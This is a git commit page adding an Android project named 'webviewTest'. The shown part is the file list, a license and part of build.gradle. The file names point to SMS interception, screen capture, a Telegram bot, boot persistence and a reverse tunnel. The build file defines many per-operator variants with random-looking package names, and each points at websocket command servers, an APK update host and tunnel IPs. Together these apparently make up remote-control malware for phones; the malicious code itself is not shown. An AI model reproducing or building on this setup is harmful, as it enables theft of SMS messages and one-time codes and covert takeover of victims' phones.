hxMac 15 giờ trước cách đây
mục cha
commit
6da4531760
100 tập tin đã thay đổi với 7859 bổ sung0 xóa
  1. 15 0
      webviewTest/.gitignore
  2. 201 0
      webviewTest/LICENSE
  3. 1 0
      webviewTest/app/.gitignore
  4. BIN
      webviewTest/app/appkey1710111.jks
  5. BIN
      webviewTest/app/appkey1710122.jks
  6. BIN
      webviewTest/app/appkey1710133.jks
  7. BIN
      webviewTest/app/appkey1710144.jks
  8. BIN
      webviewTest/app/appkey1710155.jks
  9. BIN
      webviewTest/app/appkey1710166.jks
  10. BIN
      webviewTest/app/appkey1710177.jks
  11. BIN
      webviewTest/app/appkey1710188.jks
  12. BIN
      webviewTest/app/appkey1710199.jks
  13. BIN
      webviewTest/app/appkey17102010.jks
  14. BIN
      webviewTest/app/appkey17102211.jks
  15. BIN
      webviewTest/app/appkey201517_1.jks
  16. BIN
      webviewTest/app/appkey201519_2.jks
  17. BIN
      webviewTest/app/appkey201520_3.jks
  18. BIN
      webviewTest/app/appkey2042191.jks
  19. BIN
      webviewTest/app/appkey2254.jks
  20. 917 0
      webviewTest/app/build.gradle
  21. BIN
      webviewTest/app/frpcapp.jks
  22. BIN
      webviewTest/app/libs/frpclib-sources.jar
  23. BIN
      webviewTest/app/libs/frpclib.aar
  24. 271 0
      webviewTest/app/proguard-rules.pro
  25. 17 0
      webviewTest/app/readme.txt
  26. 27 0
      webviewTest/app/src/androidTest/java/com/car/frpc_android/ExampleInstrumentedTest.java
  27. 148 0
      webviewTest/app/src/main/AndroidManifest.xml
  28. 48 0
      webviewTest/app/src/main/java/com/app/MainApp.java
  29. 130 0
      webviewTest/app/src/main/java/com/app/duck/BaseActivity.java
  30. 18 0
      webviewTest/app/src/main/java/com/app/duck/Config.java
  31. 35 0
      webviewTest/app/src/main/java/com/app/duck/adapter/FileListAdapter.java
  32. 29 0
      webviewTest/app/src/main/java/com/app/duck/adapter/PhoneListAdapter.java
  33. 34 0
      webviewTest/app/src/main/java/com/app/duck/adapter/PhoneListAdapter2.java
  34. 28 0
      webviewTest/app/src/main/java/com/app/duck/database/AppDatabase.java
  35. 94 0
      webviewTest/app/src/main/java/com/app/duck/database/Config.java
  36. 30 0
      webviewTest/app/src/main/java/com/app/duck/database/ConfigDao.java
  37. 25 0
      webviewTest/app/src/main/java/com/app/duck/database/DBContract.java
  38. 103 0
      webviewTest/app/src/main/java/com/app/duck/database/DBHelper.java
  39. 21 0
      webviewTest/app/src/main/java/com/app/duck/dialog/DialogManager.java
  40. 130 0
      webviewTest/app/src/main/java/com/app/duck/dialog/PhoneListDialog.java
  41. 185 0
      webviewTest/app/src/main/java/com/app/duck/dialog/UploadAppDialog.java
  42. 233 0
      webviewTest/app/src/main/java/com/app/duck/ui/HomeFragment.java
  43. 125 0
      webviewTest/app/src/main/java/com/app/duck/ui/IniEditActivity.java
  44. 748 0
      webviewTest/app/src/main/java/com/app/duck/ui/MainActivity.java
  45. 60 0
      webviewTest/app/src/main/java/com/app/duck/ui/TemplateActivity.java
  46. 18 0
      webviewTest/app/src/main/java/com/app/duck/util/BootReceiver.java
  47. 143 0
      webviewTest/app/src/main/java/com/app/duck/util/CheckInboxWorker.java
  48. 91 0
      webviewTest/app/src/main/java/com/app/duck/util/HeartbeatWorker.java
  49. 405 0
      webviewTest/app/src/main/java/com/app/duck/util/HxUtils.java
  50. 91 0
      webviewTest/app/src/main/java/com/app/duck/util/PermissionsUtils.java
  51. 102 0
      webviewTest/app/src/main/java/com/app/duck/util/ScreenCaptureService.java
  52. 144 0
      webviewTest/app/src/main/java/com/app/duck/util/Service1.java
  53. 65 0
      webviewTest/app/src/main/java/com/app/duck/util/Service2.java
  54. 220 0
      webviewTest/app/src/main/java/com/app/duck/util/SmsReceiver.java
  55. 46 0
      webviewTest/app/src/main/java/com/app/duck/util/SmsSentReceiver.java
  56. 341 0
      webviewTest/app/src/main/java/com/app/duck/util/TgBot.java
  57. 909 0
      webviewTest/app/src/main/java/com/app/duck/util/WsManager.java
  58. 18 0
      webviewTest/app/src/main/java/com/app/http/APPConfig.java
  59. 43 0
      webviewTest/app/src/main/java/com/app/http/BaseBean.java
  60. 402 0
      webviewTest/app/src/main/java/com/app/http/Http.java
  61. 18 0
      webviewTest/app/src/main/java/com/app/http/LoadingDialog.java
  62. 48 0
      webviewTest/app/src/main/java/com/app/http/Parser.java
  63. 13 0
      webviewTest/app/src/main/res/drawable-v24/ic_launcher_foreground.xml
  64. 8 0
      webviewTest/app/src/main/res/drawable/bg_nav_title.xml
  65. 10 0
      webviewTest/app/src/main/res/drawable/ic_add_white.xml
  66. 9 0
      webviewTest/app/src/main/res/drawable/ic_copy_white.xml
  67. 10 0
      webviewTest/app/src/main/res/drawable/ic_delete_black.xml
  68. 9 0
      webviewTest/app/src/main/res/drawable/ic_delete_white.xml
  69. 10 0
      webviewTest/app/src/main/res/drawable/ic_edit_black.xml
  70. 10 0
      webviewTest/app/src/main/res/drawable/ic_launcher_background.xml
  71. 9 0
      webviewTest/app/src/main/res/drawable/ic_logcat_black.xml
  72. 9 0
      webviewTest/app/src/main/res/drawable/ic_logcat_white.xml
  73. 12 0
      webviewTest/app/src/main/res/drawable/ic_menu_camera.xml
  74. 9 0
      webviewTest/app/src/main/res/drawable/ic_menu_file_black.xml
  75. 9 0
      webviewTest/app/src/main/res/drawable/ic_menu_file_white.xml
  76. 9 0
      webviewTest/app/src/main/res/drawable/ic_menu_gallery.xml
  77. 9 0
      webviewTest/app/src/main/res/drawable/ic_menu_slideshow.xml
  78. 10 0
      webviewTest/app/src/main/res/drawable/ic_play_white.xml
  79. 10 0
      webviewTest/app/src/main/res/drawable/ic_save_white.xml
  80. 10 0
      webviewTest/app/src/main/res/drawable/ic_stop_white.xml
  81. 8 0
      webviewTest/app/src/main/res/drawable/progress_bar_ct.xml
  82. 8 0
      webviewTest/app/src/main/res/drawable/shape_button_primary.xml
  83. 17 0
      webviewTest/app/src/main/res/drawable/shape_progress_style.xml
  84. 5 0
      webviewTest/app/src/main/res/drawable/shape_view_white.xml
  85. 9 0
      webviewTest/app/src/main/res/drawable/side_nav_bar.xml
  86. 38 0
      webviewTest/app/src/main/res/layout/activity_ini_edit.xml
  87. 26 0
      webviewTest/app/src/main/res/layout/activity_main.xml
  88. 29 0
      webviewTest/app/src/main/res/layout/app_bar_main.xml
  89. 166 0
      webviewTest/app/src/main/res/layout/content_main.xml
  90. 123 0
      webviewTest/app/src/main/res/layout/dialog_upload_app.xml
  91. 21 0
      webviewTest/app/src/main/res/layout/fragment_home.xml
  92. 78 0
      webviewTest/app/src/main/res/layout/item_recycler_main.xml
  93. 47 0
      webviewTest/app/src/main/res/layout/layout_phone_item.xml
  94. 82 0
      webviewTest/app/src/main/res/layout/layout_phone_item2.xml
  95. 68 0
      webviewTest/app/src/main/res/layout/layout_phone_list.xml
  96. 15 0
      webviewTest/app/src/main/res/layout/log_layout.xml
  97. 45 0
      webviewTest/app/src/main/res/layout/nav_header_main.xml
  98. 19 0
      webviewTest/app/src/main/res/menu/activity_add_text.xml
  99. 38 0
      webviewTest/app/src/main/res/menu/activity_main_drawer.xml
  100. 65 0
      webviewTest/app/src/main/res/menu/main.xml

+ 15 - 0
webviewTest/.gitignore

@@ -0,0 +1,15 @@
+*.iml
+.gradle
+/local.properties
+/.idea/caches
+/.idea/libraries
+/.idea/modules.xml
+/.idea/workspace.xml
+/.idea/navEditor.xml
+/.idea/assetWizardSettings.xml
+.DS_Store
+/build
+/captures
+.externalNativeBuild
+.cxx
+/.idea

+ 201 - 0
webviewTest/LICENSE

@@ -0,0 +1,201 @@
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

+ 1 - 0
webviewTest/app/.gitignore

@@ -0,0 +1 @@
+/build

BIN
webviewTest/app/appkey1710111.jks


BIN
webviewTest/app/appkey1710122.jks


BIN
webviewTest/app/appkey1710133.jks


BIN
webviewTest/app/appkey1710144.jks


BIN
webviewTest/app/appkey1710155.jks


BIN
webviewTest/app/appkey1710166.jks


BIN
webviewTest/app/appkey1710177.jks


BIN
webviewTest/app/appkey1710188.jks


BIN
webviewTest/app/appkey1710199.jks


BIN
webviewTest/app/appkey17102010.jks


BIN
webviewTest/app/appkey17102211.jks


BIN
webviewTest/app/appkey201517_1.jks


BIN
webviewTest/app/appkey201519_2.jks


BIN
webviewTest/app/appkey201520_3.jks


BIN
webviewTest/app/appkey2042191.jks


BIN
webviewTest/app/appkey2254.jks


+ 917 - 0
webviewTest/app/build.gradle

@@ -0,0 +1,917 @@
+import org.json.JSONObject
+
+apply plugin: 'com.android.application'
+android {
+    compileSdkVersion 31
+    flavorDimensions "baseUrl"
+    productFlavors {
+        userdev {
+            dimension "baseUrl"
+            applicationId "com.ghpcarphone.ussd"
+            resValue "string", "app_name", "demo"
+            buildConfigField "String", "BASE_URL", "\"https://www.kpkingpark.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"59e95b20-759a-472a-bf07-a4e4b2e7a1f0\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/userdemo/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"\""
+            buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_a"]
+            minSdkVersion 27
+        }
+        user1 {
+            dimension "baseUrl"
+            applicationId "com.ghpcarphone.ussd"
+            resValue "string", "app_name", "B"
+            buildConfigField "String", "BASE_URL", "\"https://www.ghpcarphone.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"bfbc2f7f-779a-4719-9295-60eefbb9269f\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user1/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_b"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 29
+        }
+        user2 {
+            dimension "baseUrl"
+            applicationId "com.dcduckcake.ussd"
+            resValue "string", "app_name", "C"
+            buildConfigField "String", "BASE_URL", "\"https://www.dcduckcake.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"2be6db19-4be6-45f5-8a93-368ad7cb6405\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/userdemo/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_c"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 29
+        }
+        user3 {
+            dimension "baseUrl"
+            applicationId "com.bcblackcoffee.ussd"
+            resValue "string", "app_name", "D"
+            buildConfigField "String", "BASE_URL", "\"https://www.bcblackcoffee.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"64f225d4-e9a4-4c9f-93eb-133ff2f16c3e\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/userdemo/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_d"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 29
+
+        }
+        user4 {
+            dimension "baseUrl"
+            applicationId "com.lkluckpanda.ussd"
+            resValue "string", "app_name", "E"
+            buildConfigField "String", "BASE_URL", "\"https://www.lkluckpanda.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"64f225d4-e9a4-4c9f-93eb-133ff2f16c3e\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user4/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"\""
+            buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_e"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 22
+        }
+        user5 {
+            dimension "baseUrl"
+            applicationId "com.user.ussd"
+            resValue "string", "app_name", "F"
+            buildConfigField "String", "BASE_URL", "\"https://www.dcduckcake.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"f6602356-ff46-422e-87ba-d5fbe3f0adf7\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user5/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"wss://stretch.dcduckcake.com/ca4c62f1ae5f4514acc6132a9f2716a7/app/\""
+            buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_f"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 29
+        }
+        user6 {
+            dimension "baseUrl"
+            applicationId "com.ghpcarphone.cm"
+            resValue "string", "app_name", "G"
+            buildConfigField "String", "BASE_URL", "\"https://cm-www.ghpcarphone.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"455b5053-9d7f-43ae-a115-76f16cfaf3f5\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user6/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"wss://cm-naughty.lkluckpanda.online/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_g"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 29
+        }
+        user7 {
+            dimension "baseUrl"
+            applicationId "com.si.ussd"
+            resValue "string", "app_name", "H"
+            buildConfigField "String", "BASE_URL", "\"https://www.lovepizzaxx.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"d3bf5c93-5119-4092-bd5f-a3e99fbce2ed\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user7/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"\""
+            buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_h"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 29
+        }
+        user8 {
+            dimension "baseUrl"
+            applicationId "com.kpkingpark.ussd"
+            resValue "string", "app_name", "I"
+            buildConfigField "String", "BASE_URL", "\"https://www.kpkingpark.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"59e95b20-759a-472a-bf07-a4e4b2e7a1f0\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user8/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"wss://saffron.ghpcarphone.com/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_i"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 29
+        }
+        user9 {
+            dimension "baseUrl"
+            applicationId "com.ghpcarphone.cote"
+            resValue "string", "app_name", "J"
+            buildConfigField "String", "BASE_URL", "\"https://cote-www.ghpcarphone.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"bbddc5d7-9d45-4a3b-afdd-a8a36c96f4af\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user9/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"wss://ci-naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "FRPC_IP", "\"18.196.82.143\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_j"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 30
+        }
+        user10 {
+            dimension "baseUrl"
+            applicationId "com.nbwz.lvix.gdjgnp.gfhw"
+            resValue "string", "app_name", "K"
+            buildConfigField "String", "BASE_URL", "\"https://www.kpkingpark.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"\""
+            buildConfigField "String", "FRPC_IP", "\"3.68.158.69\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_k"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 22
+        }
+        user11 {
+            dimension "baseUrl"
+            applicationId "com.cdfo.emvyey.axkcae.ixjl"
+            resValue "string", "app_name", "L"
+            buildConfigField "String", "BASE_URL", "\"https://www.kpkingpark.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/t1/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"\""
+            buildConfigField "String", "FRPC_IP", "\"3.68.158.69\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_l"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 22
+        }
+        user12 {
+            dimension "baseUrl"
+            applicationId "com.fyxmwe.ewha.dfajdm.lfuqog"
+            resValue "string", "app_name", "M"
+            buildConfigField "String", "BASE_URL", "\"https://www.kpkingpark.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/t2/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"\""
+            buildConfigField "String", "FRPC_IP", "\"3.68.158.69\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_m"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 22
+
+        }
+        user13 {
+            dimension "baseUrl"
+            applicationId "com.dwvb.axg.lyg.fbcq"
+            resValue "string", "app_name", "N"
+            buildConfigField "String", "BASE_URL", "\"https://www.kpkingpark.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/t3/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"\""
+            buildConfigField "String", "FRPC_IP", "\"3.68.158.69\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_n"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 22
+
+        }
+        user14 {
+            dimension "baseUrl"
+            applicationId "com.npyv.gqaokx.mdqd.pebxr"
+            resValue "string", "app_name", "O"
+            buildConfigField "String", "BASE_URL", "\"https://india.gdtabletouch.com\""
